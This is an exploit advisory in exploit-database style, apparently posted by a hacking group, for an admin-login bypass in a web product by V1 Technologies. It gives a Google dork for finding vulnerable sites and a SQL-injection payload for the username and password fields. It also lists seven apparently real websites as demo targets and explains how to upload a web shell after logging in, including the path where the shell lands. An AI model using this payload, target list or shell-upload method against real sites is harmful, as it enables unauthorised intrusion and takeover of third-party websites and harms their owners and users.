####################################
# Exploit Title: v1technologies admin page bypass vulnerability
# Date: 2018-09-15
# Vendor Homepage: https://www.v1technologies.com/
# Exploit Author: nothing404.team
# Google Dork: intext:"Mobile Friendly Web Design By: V1 Technologies Ltd"
# Tested on: Kali Linux
####################################
admin page:
site.com/Site-Admin-V1/
exploit:
Username: '=''or'
password: '=''or'
Demo:
http://globalelec.co.in/Site-Admin-V1/
http://www.englishcountrybarn.co.uk/Site-Admin-V1/
http://excellous.biz//Site-Admin-V1/
http://www.indiaelec.com.sg/Site-Admin-V1/
https://www.sportspathwaycoaching.com//Site-Admin-V1/
http://progressivefootballacademy.com/Site-Admin-V1/
http://bossevents.co.in/Site-Admin-V1/
after login go to home -> Banner or Manage Products -> now you can uplaod shell
shell Path --> site.com/images/banner/yourshell.php
####################################
# ! We Are Nothing !
# nothing404.team@gmail.com
####################################
